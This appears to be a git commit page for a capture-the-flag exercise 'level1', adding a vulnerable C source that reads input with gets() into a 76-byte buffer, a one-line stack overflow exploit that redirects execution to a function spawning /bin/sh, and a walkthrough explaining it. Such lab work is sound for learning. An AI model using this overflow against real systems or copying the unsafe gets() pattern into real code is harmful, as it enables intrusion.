level1 done
This commit is contained in:
parent
7a00213c96
commit
abba9a8143
1
level1/ressources/exploit
Normal file
1
level1/ressources/exploit
Normal file
@ -0,0 +1 @@
|
|||||||
|
(print('a'*76 + "\x44\x84\x04\x08"); cat) | ./level1
|
9
level1/source.c
Normal file
9
level1/source.c
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
char buf[76];
|
||||||
|
|
||||||
|
gets(buf);
|
||||||
|
return 0;
|
||||||
|
}
|
9
level1/walkthrough
Normal file
9
level1/walkthrough
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
# Level1
|
||||||
|
|
||||||
|
Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets`.
|
||||||
|
We can exploit this call to overflow the stack and call another function.
|
||||||
|
In the binary, there is a function `run()` located at address 0x8048444 that runs `/bin/sh`.
|
||||||
|
To exploit this, we can use this sh command with this inline python script:
|
||||||
|
`(print('a'*76 + "\x44\x84\x04\x08"); cat) | ./level1`
|
||||||
|
This will print `run()`'s address on the stack, after the buffer being written to by `gets`, resulting in a call to the function.
|
||||||
|
The parenthesis and the `cat` are mandatory to make it blocking and keep the shell opened.
|
Loading…
Reference in New Issue
Block a user